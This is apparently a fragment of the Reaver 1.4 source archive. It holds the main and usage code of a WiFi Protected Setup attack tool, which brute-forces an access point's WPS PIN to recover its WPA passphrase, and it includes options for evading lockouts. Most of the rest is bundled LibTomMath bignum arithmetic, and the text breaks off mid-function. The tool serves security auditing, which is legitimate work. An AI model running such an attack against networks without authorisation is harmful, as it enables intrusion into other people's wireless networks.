9293 9294 9295 9296 9297 9298 9299 9300 9301 9302 9303 9304 9305 9306 9307 9308 9309 9310 9311 9312 9313 9314 9315 9316 9317 9318 9319 9320 9321 9322 9323 9324 9325 9326 9327 9328 9329 9330 9331 9332 9333 9334 9335 9336 9337 9338 9339 9340 9341 9342 9343 9344 9345 9346 9347 9348 9349 9350 9351 9352 9353 9354 9355 9356 9357 9358 9359 9360 9361 9362 9363 9364 9365 9366 9367 9368 9369 9370 9371 9372 9373 9374 9375 9376 9377 9378 9379 9380 9381 9382 9383 9384 9385 9386 9387 9388 9389 9390 9391 9392 9393 9394 9395 9396 9397 9398 9399 9400 9401 9402 9403 9404 9405 9406 9407 9408 9409 9410 9411 9412 9413 9414 9415 9416 9417 9418 9419 9420 9421 9422 9423 9424 9425 9426 9427 9428 9429 9430 9431 9432 9433 9434 9435 9436 9437 9438 9439 9440 9441 9442 9443 9444 9445 9446 9447 9448 9449 9450 9451 9452 9453 9454 9455 9456 9457 9458 9459 9460 9461 9462 9463 9464 9465 9466 9467 9468 9469 9470 9471 9472 9473 9474 9475 9476 9477 9478 9479 9480 9481 9482 9483 9484 9485 9486 9487 9488 9489 9490 9491 9492 9493 9494 9495 9496 9497 9498 9499 9500 9501 9502 9503 9504 9505 9506 9507 9508 9509 9510 9511 9512 9513 9514 9515 9516 9517 9518 9519 9520 9521 9522 9523 9524 9525 9526 9527 9528 9529 9530 9531 9532 9533 9534 9535 9536 9537 9538 9539 9540 9541 9542 9543 9544 9545 9546 9547 9548 9549 9550 9551 9552 9553 9554 9555 9556 9557 9558 9559 9560 9561 9562 9563 9564 9565 9566 9567 9568 9569 9570 9571 9572 9573 9574 9575 9576 9577 9578 9579 9580 9581 9582 9583 9584 9585 9586 9587 9588 9589 9590 9591 9592 9593 9594 9595 9596 9597 9598 9599 9600 9601 9602 9603 9604 9605 9606 9607 9608 9609 9610 9611 9612 9613 9614 9615 9616 9617 9618 9619 9620 9621 9622 9623 9624 9625 9626 9627 9628 9629 9630 9631 9632 9633 9634 9635 9636 9637 9638 9639 9640 9641 9642 9643 9644 9645 9646 9647 9648 9649 9650 9651 9652 9653 9654 9655 9656 9657 9658 9659 9660 9661 9662 9663 9664 9665 9666 9667 9668 9669 9670 9671 9672 9673 9674 9675 9676 9677 9678 9679 9680 9681 9682 9683 9684 9685 9686 9687 9688 9689 9690 9691 9692 9693 9694 9695 9696 9697 9698 9699 9700 9701 9702 9703 9704 9705 9706 9707 9708 9709 9710 9711 9712 9713 9714 9715 9716 9717 9718 9719 9720 9721 9722 9723 9724 9725 9726 9727 9728 9729 9730 9731 9732 9733 9734 9735 9736 9737 9738 9739 9740 9741 9742 9743 9744 9745 9746 9747 9748 9749 9750 9751 9752 9753 9754 9755 9756 9757 9758 9759 9760 9761 9762 9763 9764 9765 9766 9767 9768 9769 9770 9771 9772 9773 9774 9775 9776 9777 9778 9779 9780 9781 9782 9783 9784 9785 9786 9787 9788 9789 9790 9791 9792 9793 9794 9795 9796 9797 9798 9799 9800 9801 9802 9803 9804 9805 9806 9807 9808 9809 9810 9811 9812 9813 9814 9815 9816 9817 9818 9819 9820 9821 9822 9823 9824 9825 9826 9827 9828 9829 9830 9831 9832 9833 9834 9835 9836 9837 9838 9839 9840 9841 9842 9843 9844 9845 9846 9847 9848 9849 9850 9851 9852 9853 9854 9855 9856 9857 9858 9859 9860 9861 9862 9863 9864 9865 9866 9867 9868 9869 9870 9871 9872 9873 9874 9875 9876 9877 9878 9879 9880 9881 9882 9883 9884 9885 9886 9887 9888 9889 9890 9891 9892 9893 9894 9895 9896 9897 9898 9899 9900 9901 9902 9903 9904 9905 9906 9907 9908 9909 9910 9911 9912 9913 9914 9915 9916 9917 9918 9919 9920 9921 9922 9923 9924 9925 9926 9927 9928 9929 9930 9931 9932 9933 9934 9935 9936 9937 9938 9939 9940 9941 9942 9943 9944 9945 9946 9947 9948 9949 9950 9951 9952 9953 9954 9955 9956 9957 9958 9959 9960 9961 9962 9963 9964 9965 9966 9967 9968 9969 9970 9971 9972 9973 9974 9975 9976 9977 9978 9979 9980 9981 9982 9983 9984 9985 9986 9987 9988 9989 9990 9991 9992 9993 9994 9995 9996 9997 9998 567 000 222 333 444 555 666 777 888 999 001 002 003 004 005 006 007 008 009 010 011 012 013 014 015 016 017 018 019 020 021 022 023 024 025 026 027 028 029 030 031 032 033 034 035 036 037 038 039 040 041 042 043 044 045 046 047 048 049 050 051 052 053 054 055 056 057 058 059 060 061 062 063 064 065 066 067 068 069 070 071 072 073 074 075 076 077 078 079 080 081 082 083 084 085 086 087 088 089 090 091 092 093 094 095 096 097 098 099 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442 443 445 446 447 448 449 450 451 452 453 454 455 456 457 458 459 460 461 462 463 464 465 466 467 468 469 470 471 472 473 474 475 476 477 478 479 480 481 482 483 484 485 486 487 488 489 490 491 492 493 494 495 496 497 498 499 500 501 502 503 504 505 506 507 508 509 510 511 512 513 514 515 516 517 518 519 520 521 522 523 524 525 526 527 528 529 530 531 532 533 534 535 536 537 538 539 540 541 542 543 544 545 546 547 548 549 550 551 552 553 554 556 557 558 559 560 561 562 563 564 565 566 568 569 570 571 572 573 574 575 576 577 578 579 580 581 582 583 584 585 586 587 588 589 590 591 592 593 594 595 596 597 598 599 600 601 602 603 604 605 606 607 608 609 610 611 612 613 614 615 616 617 618 619 620 621 622 623 624 625 626 627 628 629 630 631 632 633 634 635 636 637 638 639 640 641 642 643 644 645 646 647 648 649 650 651 652 653 654 655 656 657 658 659 660 661 662 663 664 665 667 668 669 670 671 672 673 674 675 676 677 678 679 680 681 682 683 684 685 686 687 688 689 690 691 692 693 694 695 696 697 698 699 700 701 702 703 704 705 706 707 708 709 710 711 712 713 714 715 716 717 718 719 720 721 722 723 724 725 726 727 728 729 730 731 732 733 734 735 736 737 738 739 740 741 742 743 744 745 746 747 748 749 750 751 752 753 754 755 756 757 758 759 760 761 762 763 764 765 766 767 768 769 770 771 772 773 774 775 776 778 779 780 781 782 783 784 785 786 787 788 789 790 791 792 793 794 795 796 797 798 799 800 801 802 803 804 805 806 807 808 809 810 811 812 813 814 815 816 817 818 819 820 821 822 823 824 825 826 827 828 829 830 831 832 833 834 835 836 837 838 839 840 841 842 843 844 845 846 847 848 849 850 851 852 853 854 855 856 857 858 859 860 861 862 863 864 865 866 867 868 869 870 871 872 873 874 875 876 877 878 879 880 881 882 883 884 885 886 887 889 890 891 892 893 894 895 896 897 898 899 900 901 902 903 904 905 906 907 908 909 910 911 912 913 914 915 916 917 918 919 920 921 922 923 924 925 926 927 928 929 930 931 932 933 934 935 936 937 938 939 940 941 942 943 944 945 946 947 948 949 950 951 952 953 954 955 956 957 958 959 960 961 962 963 964 965 966 967 968 969 970 971 972 973 974 975 976 977 978 979 980 981 982 983 984 985 986 987 988 989 990 991 992 993 994 995 996 997 998 reaver-1.4/src/wpscrack.c0000644000175000017500000001627711705505257014770 0ustar reaverreaver/* * Reaver - Main and usage functions * Copyright (c) 2011, Tactical Network Solutions, Craig Heffner * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * * * In addition, as a special exception, the copyright holders give * permission to link the code of portions of this program with the * OpenSSL library under certain conditions as described in each * individual source file, and distribute linked combinations * including the two. * You must obey the GNU General Public License in all respects * for all of the code used other than OpenSSL. * If you modify * file(s) with this exception, you may extend this exception to your * version of the file(s), but you are not obligated to do so. * If you * do not wish to do so, delete this exception statement from your * version. * If you delete this exception statement from all source * files in the program, then also delete it here. */ #include "wpscrack.h" int main(int argc, char **argv) { int ret_val = EXIT_FAILURE, r = 0; time_t start_time = 0, end_time = 0; struct wps_data *wps = NULL; globule_init(); sql_init(); init_default_settings(); fprintf(stderr, "\nReaver v%s WiFi Protected Setup Attack Tool\n", PACKAGE_VERSION); fprintf(stderr, "Copyright (c) 2011, Tactical Network Solutions, Craig Heffner \n\n"); if(argc < 2) { ret_val = usage(argv[0]); goto end; } /* Process the command line arguments */ if(process_arguments(argc, argv) == EXIT_FAILURE) { ret_val = usage(argv[0]); goto end; } /* Double check usage */ if(!get_iface() || (memcmp(get_bssid(), NULL_MAC, MAC_ADDR_LEN) == 0)) { usage(argv[0]); goto end; } /* If no MAC address was provided, get it ourselves */ if(memcmp(get_mac(), NULL_MAC, MAC_ADDR_LEN) == 0) { if(!read_iface_mac()) { fprintf(stderr, "[-] Failed to retrieve a MAC address for interface '%s'!\n", get_iface()); goto end; } } /* Sanity checking on the message timeout value */ if(get_m57_timeout() > M57_MAX_TIMEOUT) { set_m57_timeout(M57_MAX_TIMEOUT); } else if(get_m57_timeout() <= 0) { set_m57_timeout(M57_DEFAULT_TIMEOUT); } /* Sanity checking on the receive timeout value */ if(get_rx_timeout() <= 0) { set_rx_timeout(DEFAULT_TIMEOUT); } /* Initialize signal handlers */ sigint_init(); sigalrm_init(); /* Mark the start time */ start_time = time(NULL); /* Do it. */ crack(); /* Mark the end time */ end_time = time(NULL); /* Check our key status */ if(get_key_status() == KEY_DONE) { wps = get_wps(); cprintf(VERBOSE, "[+] Pin cracked in %d seconds\n", (int) (end_time - start_time)); cprintf(CRITICAL, "[+] WPS PIN: '%s'\n", get_pin()); if(wps->key) cprintf(CRITICAL, "[+] WPA PSK: '%s'\n", wps->key); if(wps->essid) cprintf(CRITICAL, "[+] AP SSID: '%s'\n", wps->essid); /* Run user-supplied command */ if(get_exec_string()) { r = system(get_exec_string()); } ret_val = EXIT_SUCCESS; } else { cprintf(CRITICAL, "[-] Failed to recover WPA key\n"); } save_session(); end: globule_deinit(); return ret_val; } int usage(char *prog_name) { float fail_timeout = 0; fail_timeout = ((float) M57_DEFAULT_TIMEOUT / (float) SEC_TO_US); fprintf(stderr, "Required Arguments:\n"); fprintf(stderr, "\t-i, --interface= Name of the monitor-mode interface to use\n"); fprintf(stderr, "\t-b, --bssid= BSSID of the target AP\n"); fprintf(stderr, "\nOptional Arguments:\n"); fprintf(stderr, "\t-m, --mac= MAC of the host system\n"); fprintf(stderr, "\t-e, --essid= ESSID of the target AP\n"); fprintf(stderr, "\t-c, --channel= Set the 802.11 channel for the interface (implies -f)\n"); fprintf(stderr, "\t-o, --out-file= Send output to a log file [stdout]\n"); fprintf(stderr, "\t-s, --session= Restore a previous session file\n"); fprintf(stderr, "\t-C, --exec= Execute the supplied command upon successful pin recovery\n"); fprintf(stderr, "\t-D, --daemonize Daemonize reaver\n"); fprintf(stderr, "\t-a, --auto Auto detect the best advanced options for the target AP\n"); fprintf(stderr, "\t-f, --fixed Disable channel hopping\n"); fprintf(stderr, "\t-5, --5ghz Use 5GHz 802.11 channels\n"); fprintf(stderr, "\t-v, --verbose Display non-critical warnings (-vv for more)\n"); fprintf(stderr, "\t-q, --quiet Only display critical messages\n"); fprintf(stderr, "\t-h, --help Show help\n"); fprintf(stderr, "\nAdvanced Options:\n"); fprintf(stderr, "\t-p, --pin= Use the specified 4 or 8 digit WPS pin\n"); fprintf(stderr, "\t-d, --delay= Set the delay between pin attempts [%d]\n", DEFAULT_DELAY); fprintf(stderr, "\t-l, --lock-delay= Set the time to wait if the AP locks WPS pin attempts [%d]\n", DEFAULT_LOCK_DELAY); fprintf(stderr, "\t-g, --max-attempts= Quit after num pin attempts\n"); fprintf(stderr, "\t-x, --fail-wait= Set the time to sleep after %d unexpected failures [0]\n", WARN_FAILURE_COUNT); fprintf(stderr, "\t-r, --recurring-delay= Sleep for y seconds every x pin attempts\n"); fprintf(stderr, "\t-t, --timeout= Set the receive timeout period [%d]\n", DEFAULT_TIMEOUT); fprintf(stderr, "\t-T, --m57-timeout= Set the M5/M7 timeout period [%.2f]\n", fail_timeout); fprintf(stderr, "\t-A, --no-associate Do not associate with the AP (association must be done by another application)\n"); fprintf(stderr, "\t-N, --no-nacks Do not send NACK messages when out of order packets are received\n"); fprintf(stderr, "\t-S, --dh-small Use small DH keys to improve crack speed\n"); fprintf(stderr, "\t-L, --ignore-locks Ignore locked state reported by the target AP\n"); fprintf(stderr, "\t-E, --eap-terminate Terminate each WPS session with an EAP FAIL packet\n"); fprintf(stderr, "\t-n, --nack Target AP always sends a NACK [Auto]\n"); fprintf(stderr, "\t-w, --win7 Mimic a Windows 7 registrar [False]\n"); fprintf(stderr, "\nExample:\n\t%s -i mon0 -b 00:90:4C:C1:AC:21 -vv\n\n", prog_name); return EXIT_FAILURE; } reaver-1.4/src/tls/0000755000175000017500000000000011705505260013566 5ustar reaverreaverreaver-1.4/src/tls/libtommath.c0000755000175000017500000022771011705505257016114 0ustar reaverreaver/* * Minimal code for RSA support from LibTomMath 0.41 * http://libtom.org/ * http://libtom.org/files/ltm-0.41.tar.bz2 * This library was released in public domain by Tom St Denis. * * The combination in this file may not use all of the optimized algorithms * from LibTomMath and may be considerable slower than the LibTomMath with its * default settings. The main purpose of having this version here is to make it * easier to build bignum.c wrapper without having to install and build an * external library. * * If CONFIG_INTERNAL_LIBTOMMATH is defined, bignum.c includes this * libtommath.c file instead of using the external LibTomMath library. */ #ifndef CHAR_BIT #define CHAR_BIT 8 #endif #define BN_MP_INVMOD_C #define BN_S_MP_EXPTMOD_C /* Note: #undef in tommath_superclass.h; this would * require BN_MP_EXPTMOD_FAST_C instead */ #define BN_S_MP_MUL_DIGS_C #define BN_MP_INVMOD_SLOW_C #define BN_S_MP_SQR_C #define BN_S_MP_MUL_HIGH_DIGS_C /* Note: #undef in tommath_superclass.h; this * would require other than mp_reduce */ #ifdef LTM_FAST /* Use faster div at the cost of about 1 kB */ #define BN_MP_MUL_D_C /* Include faster exptmod (Montgomery) at the cost of about 2.5 kB in code */ #define BN_MP_EXPTMOD_FAST_C #define BN_MP_MONTGOMERY_SETUP_C #define BN_FAST_MP_MONTGOMERY_REDUCE_C #define BN_MP_MONTGOMERY_CALC_NORMALIZATION_C #define BN_MP_MUL_2_C /* Include faster sqr at the cost of about 0.5 kB in code */ #define BN_FAST_S_MP_SQR_C #else /* LTM_FAST */ #define BN_MP_DIV_SMALL #define BN_MP_INIT_MULTI_C #define BN_MP_CLEAR_MULTI_C #define BN_MP_ABS_C #endif /* LTM_FAST */ /* Current uses do not require support for negative exponent in exptmod, so we * can save about 1.5 kB in leaving out invmod. */ #define LTM_NO_NEG_EXP /* from tommath.h */ #ifndef MIN #define MIN(x,y) ((x)<(y)?(x):(y)) #endif #ifndef MAX #define MAX(x,y) ((x)>(y)?(x):(y)) #endif #define OPT_CAST(x) typedef unsigned long mp_digit; typedef u64 mp_word; #define DIGIT_BIT 28 #define MP_28BIT #define XMALLOC os_malloc #define XFREE os_free #define XREALLOC os_realloc #define MP_MASK ((((mp_digit)1)<<((mp_digit)DIGIT_BIT))-((mp_digit)1)) #define MP_LT -1 /* less than */ #define MP_EQ 0 /* equal to */ #define MP_GT 1 /* greater than */ #define MP_ZPOS 0 /* positive integer */ #define MP_NEG 1 /* negative */ #define MP_OKAY 0 /* ok result */ #define MP_MEM -2 /* out of mem */ #define MP_VAL -3 /* invalid input */ #define MP_YES 1 /* yes response */ #define MP_NO 0 /* no response */ typedef int mp_err; /* define this to use lower memory usage routines (exptmods mostly) */ #define MP_LOW_MEM /* default precision */ #ifndef MP_PREC #ifndef MP_LOW_MEM #define MP_PREC 32 /* default digits of precision */ #else #define MP_PREC 8 /* default digits of precision */ #endif #endif /* size of comba arrays, should be at least 2 * 2**(BITS_PER_WORD - BITS_PER_DIGIT*2) */ #define MP_WARRAY (1 << (sizeof(mp_word) * CHAR_BIT - 2 * DIGIT_BIT + 1)) /* the infamous mp_int structure */ typedef struct { int used, alloc, sign; mp_digit *dp; } mp_int; /* ---> Basic Manipulations <--- */ #define mp_iszero(a) (((a)->used == 0) ? MP_YES : MP_NO) #define mp_iseven(a) (((a)->used > 0 && (((a)->dp[0] & 1) == 0)) ? MP_YES : MP_NO) #define mp_isodd(a) (((a)->used > 0 && (((a)->dp[0] & 1) == 1)) ? MP_YES : MP_NO) /* prototypes for copied functions */ #define s_mp_mul(a, b, c) s_mp_mul_digs(a, b, c, (a)->used + (b)->used + 1) static int s_mp_exptmod(mp_int * G, mp_int * X, mp_int * P, mp_int * Y, int redmode); static int s_mp_mul_digs (mp_int * a, mp_int * b, mp_int * c, int digs); static int s_mp_sqr(mp_int * a, mp_int * b); static int s_mp_mul_high_digs(mp_int * a, mp_int * b, mp_int * c, int digs); static int fast_s_mp_mul_digs (mp_int * a, mp_int * b, mp_int * c, int digs); #ifdef BN_MP_INIT_MULTI_C static int mp_init_multi(mp_int *mp, ...); #endif #ifdef BN_MP_CLEAR_MULTI_C static void mp_clear_multi(mp_int *mp, ...); #endif static int mp_lshd(mp_int * a, int b); static void mp_set(mp_int * a, mp_digit b); static void mp_clamp(mp_int * a); static void mp_exch(mp_int * a, mp_int * b); static void mp_rshd(mp_int * a, int b); static void mp_zero(mp_int * a); static int mp_mod_2d(mp_int * a, int b, mp_int * c); static int mp_div_2d(mp_int * a, int b, mp_int * c, mp_int * d); static int mp_init_copy(mp_int * a, mp_int * b); static int mp_mul_2d(mp_int * a, int b, mp_int * c); #ifndef LTM_NO_NEG_EXP static int mp_div_2(mp_int * a, mp_int * b); static int mp_invmod(mp_int * a, mp_int * b, mp_int * c); static int mp_invmod_slow(mp_int * a, mp_int * b, mp_int * c); #endif /* LTM_NO_NEG_EXP */ static int mp_copy(mp_int * a, mp_int * b); static int mp_count_bits(mp_int * a); static int mp_div(mp_int * a, mp_int * b, mp_int * c, mp_int * d); static int mp_mod(mp_int * a, mp_int * b, mp_int * c); static int mp_grow(mp_int * a, int size); static int mp_cmp_mag(mp_int * a, mp_int * b); #ifdef BN_MP_ABS_C static int mp_abs(mp_int * a, mp_int * b); #endif static int mp_sqr(mp_int * a, mp_int * b); static int mp_reduce_2k_l(mp_int *a, mp_int *n, mp_int *d); static int mp_reduce_2k_setup_l(mp_int *a, mp_int *d); static int mp_2expt(mp_int * a, int b); static int mp_reduce_setup(mp_int * a, mp_int * b); static int mp_reduce(mp_int * x, mp_int * m, mp_int * mu); static int mp_init_size(mp_int * a, int size); #ifdef BN_MP_EXPTMOD_FAST_C static int mp_exptmod_fast (mp_int * G, mp_int * X, mp_int * P, mp_int * Y, int redmode); #endif /* BN_MP_EXPTMOD_FAST_C */ #ifdef BN_FAST_S_MP_SQR_C static int fast_s_mp_sqr (mp_int * a, mp_int * b); #endif /* BN_FAST_S_MP_SQR_C */ #ifdef BN_MP_MUL_D_C static int mp_mul_d (mp_int * a, mp_digit b, mp_int * c); #endif /* BN_MP_MUL_D_C */ /* functions from bn_.c */ /* reverse an array, used for radix code */ static void bn_reverse (unsigned char *s, int len) { int ix, iy; unsigned char t; ix = 0; iy = len - 1; while (ix < iy) { t = s[ix]; s[ix] = s[iy]; s[iy] = t; ++ix; --iy; } } /* low level addition, based on HAC pp.594, Algorithm 14.7 */ static int s_mp_add (mp_int * a, mp_int * b, mp_int * c) { mp_int *x; int olduse, res, min, max; /* find sizes, we let |a| <= |b| which means we have to sort * them. "x" will point to the input with the most digits */ if (a->used > b->used) { min = b->used; max = a->used; x = a; } else { min = a->used; max = b->used; x = b; } /* init result */ if (c->alloc < max + 1) { if ((res = mp_grow (c, max + 1)) != MP_OKAY) { return res; } } /* get old used digit count and set new one */ olduse = c->used; c->used = max + 1; { register mp_digit u, *tmpa, *tmpb, *tmpc; register int i; /* alias for digit pointers */ /* first input */ tmpa = a->dp; /* second input */ tmpb = b->dp; /* destination */ tmpc = c->dp; /* zero the carry */ u = 0; for (i = 0; i < min; i++) { /* Compute the sum at one digit, T[i] = A[i] + B[i] + U */ *tmpc = *tmpa++ + *tmpb++ + u; /* U = carry bit of T[i] */ u = *tmpc >> ((mp_digit)DIGIT_BIT); /* take away carry bit from T[i] */ *tmpc++ &= MP_MASK; } /* now copy higher words if any, that is in A+B * if A or B has more digits add those in */ if (min != max) { for (; i < max; i++) { /* T[i] = X[i] + U */ *tmpc = x->dp[i] + u; /* U = carry bit of T[i] */ u = *tmpc >> ((mp_digit)DIGIT_BIT); /* take away carry bit from T[i] */ *tmpc++ &= MP_MASK; } } /* add carry */ *tmpc++ = u; /* clear digits above oldused */ for (i = c->used; i < olduse; i++) { *tmpc++ = 0; } } mp_clamp (c); return MP_OKAY; } /* low level subtraction (assumes |a| > |b|), HAC pp.595 Algorithm 14.9 */ static int s_mp_sub (mp_int * a, mp_int * b, mp_int * c) { int olduse, res, min, max; /* find sizes */ min = b->used; max = a->used; /* init result */ if (c->alloc < max) { if ((res = mp_grow (c, max)) != MP_OKAY) { return res; } } olduse = c->used; c->used = max; { register mp_digit u, *tmpa, *tmpb, *tmpc; register int i; /* alias for digit pointers */ tmpa = a->dp; tmpb = b->dp; tmpc = c->dp; /* set carry to zero */ u = 0; for (i = 0; i < min; i++) { /* T[i] = A[i] - B[i] - U */ *tmpc = *tmpa++ - *tmpb++ - u; /* U = carry bit of T[i] * Note this saves performing an AND operation since * if a carry does occur it will propagate all the way to the * MSB. As a result a single shift is enough to get the carry */ u = *tmpc >> ((mp_digit)(CHAR_BIT * sizeof (mp_digit) - 1)); /* Clear carry from T[i] */ *tmpc++ &= MP_MASK; } /* now copy higher words if any, e.g. if A has more digits than B */ for (; i < max; i++) { /* T[i] = A[i] - U */ *tmpc = *tmpa++ - u; /* U = carry bit of T[i] */ u = *tmpc >> ((mp_digit)(CHAR_BIT * sizeof (mp_digit) - 1)); /* Clear carry from T[i] */ *tmpc++ &= MP_MASK; } /* clear digits above used (since we may not have grown result above) */ for (i = c->used; i < olduse; i++) { *tmpc++ = 0; } } mp_clamp (c); return MP_OKAY; } /* init a new mp_int */ static int mp_init (mp_int * a) { int i; /* allocate memory required and clear it */ a->dp = OPT_CAST(mp_digit) XMALLOC (sizeof (mp_digit) * MP_PREC); if (a->dp == NULL) { return MP_MEM; } /* set the digits to zero */ for (i = 0; i < MP_PREC; i++) { a->dp[i] = 0; } /* set the used to zero, allocated digits to the default precision * and sign to positive */ a->used = 0; a->alloc = MP_PREC; a->sign = MP_ZPOS; return MP_OKAY; } /* clear one (frees) */ static void mp_clear (mp_int * a) { int i; /* only do anything if a hasn't been freed previously */ if (a->dp != NULL) { /* first zero the digits */ for (i = 0; i < a->used; i++) { a->dp[i] = 0; } /* free ram */ XFREE(a->dp); /* reset members to make debugging easier */ a->dp = NULL; a->alloc = a->used = 0; a->sign = MP_ZPOS; } } /* high level addition (handles signs) */ static int mp_add (mp_int * a, mp_int * b, mp_int * c) { int sa, sb, res; /* get sign of both inputs */ sa = a->sign; sb = b->sign; /* handle two cases, not four */ if (sa == sb) { /* both positive or both negative */ /* add their magnitudes, copy the sign */ c->sign = sa; res = s_mp_add (a, b, c); } else { /* one positive, the other negative */ /* subtract the one with the greater magnitude from */ /* the one of the lesser magnitude. The result gets */ /* the sign of the one with the greater magnitude. */ if (mp_cmp_mag (a, b) == MP_LT) { c->sign = sb; res = s_mp_sub (b, a, c); } else { c->sign = sa; res = s_mp_sub (a, b, c); } } return res; } /* high level subtraction (handles signs) */ static int mp_sub (mp_int * a, mp_int * b, mp_int * c) { int sa, sb, res; sa = a->sign; sb = b->sign; if (sa != sb) { /* subtract a negative from a positive, OR */ /* subtract a positive from a negative. */ /* In either case, ADD their magnitudes, */ /* and use the sign of the first number. */ c->sign = sa; res = s_mp_add (a, b, c); } else { /* subtract a positive from a positive, OR */ /* subtract a negative from a negative. */ /* First, take the difference between their */ /* magnitudes, then... */ if (mp_cmp_mag (a, b) != MP_LT) { /* Copy the sign from the first */ c->sign = sa; /* The first has a larger or equal magnitude */ res = s_mp_sub (a, b, c); } else { /* The result has the *opposite* sign from */ /* the first number. */ c->sign = (sa == MP_ZPOS) ? MP_NEG : MP_ZPOS; /* The second has a larger magnitude */ res = s_mp_sub (b, a, c); } } return res; } /* high level multiplication (handles sign) */ static int mp_mul (mp_int * a, mp_int * b, mp_int * c) { int res, neg; neg = (a->sign == b->sign) ? MP_ZPOS : MP_NEG; /* use Toom-Cook? */ #ifdef BN_MP_TOOM_MUL_C if (MIN (a->used, b->used) >= TOOM_MUL_CUTOFF) { res = mp_toom_mul(a, b, c); } else #endif #ifdef BN_MP_KARATSUBA_MUL_C /* use Karatsuba? */ if (MIN (a->used, b->used) >= KARATSUBA_MUL_CUTOFF) { res = mp_karatsuba_mul (a, b, c); } else #endif { /* can we use the fast multiplier? * * The fast multiplier can be used if the output will * have less than MP_WARRAY digits and the number of * digits won't affect carry propagation */ #ifdef BN_FAST_S_MP_MUL_DIGS_C int digs = a->used + b->used + 1; if ((digs < MP_WARRAY) && MIN(a->used, b->used) <= (1 << ((CHAR_BIT * sizeof (mp_word)) - (2 * DIGIT_BIT)))) { res = fast_s_mp_mul_digs (a, b, c, digs); } else #endif #ifdef BN_S_MP_MUL_DIGS_C res = s_mp_mul (a, b, c); /* uses s_mp_mul_digs */ #else #error mp_mul could fail res = MP_VAL; #endif } c->sign = (c->used > 0) ? neg : MP_ZPOS; return res; } /* d = a * b (mod c) */ static int mp_mulmod (mp_int * a, mp_int * b, mp_int * c, mp_int * d) { int res; mp_int t; if ((res = mp_init (&t)) != MP_OKAY) { return res; } if ((res = mp_mul (a, b, &t)) != MP_OKAY) { mp_clear (&t); return res; } res = mp_mod (&t, c, d); mp_clear (&t); return res; } /* c = a mod b, 0 <= c < b */ static int mp_mod (mp_int * a, mp_int * b, mp_int * c) { mp_int t; int res; if ((res = mp_init (&t)) != MP_OKAY) { return res; } if ((res = mp_div (a, b, NULL, &t)) != MP_OKAY) { mp_clear (&t); return res; } if (t.sign != b->sign) { res = mp_add (b, &t, c); } else { res = MP_OKAY; mp_exch (&t, c); } mp_clear (&t); return res; } /* this is a shell function that calls either the normal or Montgomery * exptmod functions. Originally the call to the montgomery code was * embedded in the normal function but that wasted alot of stack space * for nothing (since 99% of the time the Montgomery code would be called) */ static int mp_exptmod (mp_int * G, mp_int * X, mp_int * P, mp_int * Y) { int dr; /* modulus P must be positive */ if (P->sign == MP_NEG) { return MP_VAL; } /* if exponent X is negative we have to recurse */ if (X->sign == MP_NEG) { #ifdef LTM_NO_NEG_EXP return MP_VAL; #else /* LTM_NO_NEG_EXP */ #ifdef BN_MP_INVMOD_C mp_int tmpG, tmpX; int err; /* first compute 1/G mod P */ if ((err = mp_init(&tmpG)) != MP_OKAY) { return err; } if ((err = mp_invmod(G, P, &tmpG)) != MP_OKAY) { mp_clear(&tmpG); return err; } /* now get |X| */ if ((err = mp_init(&tmpX)) != MP_OKAY) { mp_clear(&tmpG); return err; } if ((err = mp_abs(X, &tmpX)) != MP_OKAY) { mp_clear_multi(&tmpG, &tmpX, NULL); return err; } /* and now compute (1/G)**|X| instead of G**X [X < 0] */ err = mp_exptmod(&tmpG, &tmpX, P, Y); mp_clear_multi(&tmpG, &tmpX, NULL); return err; #else #error mp_exptmod would always fail /* no invmod */ return MP_VAL; #endif #endif /* LTM_NO_NEG_EXP */ } /* modified diminished radix reduction */ #if defined(BN_MP_REDUCE_IS_2K_L_C) && defined(BN_MP_REDUCE_2K_L_C) && defined(BN_S_MP_EXPTMOD_C) if (mp_reduce_is_2k_l(P) == MP_YES) { return s_mp_exptmod(G, X, P, Y, 1); } #endif #ifdef BN_MP_DR_IS_MODULUS_C /* is it a DR modulus? */ dr = mp_dr_is_modulus(P); #else /* default to no */ dr = 0; #endif #ifdef BN_MP_REDUCE_IS_2K_C /* if not, is it a unrestricted DR modulus? */ if (dr == 0) { dr = mp_reduce_is_2k(P) << 1; } #endif /* if the modulus is odd or dr != 0 use the montgomery method */ #ifdef BN_MP_EXPTMOD_FAST_C if (mp_isodd (P) == 1 || dr != 0) { return mp_exptmod_fast (G, X, P, Y, dr); } else { #endif #ifdef BN_S_MP_EXPTMOD_C /* otherwise use the generic Barrett reduction technique */ return s_mp_exptmod (G, X, P, Y, 0); #else #error mp_exptmod could fail /* no exptmod for evens */ return MP_VAL; #endif #ifdef BN_MP_EXPTMOD_FAST_C } #endif } /* compare two ints (signed)*/ static int mp_cmp (mp_int * a, mp_int * b) { /* compare based on sign */ if (a->sign != b->sign) { if (a->sign == MP_NEG) { return 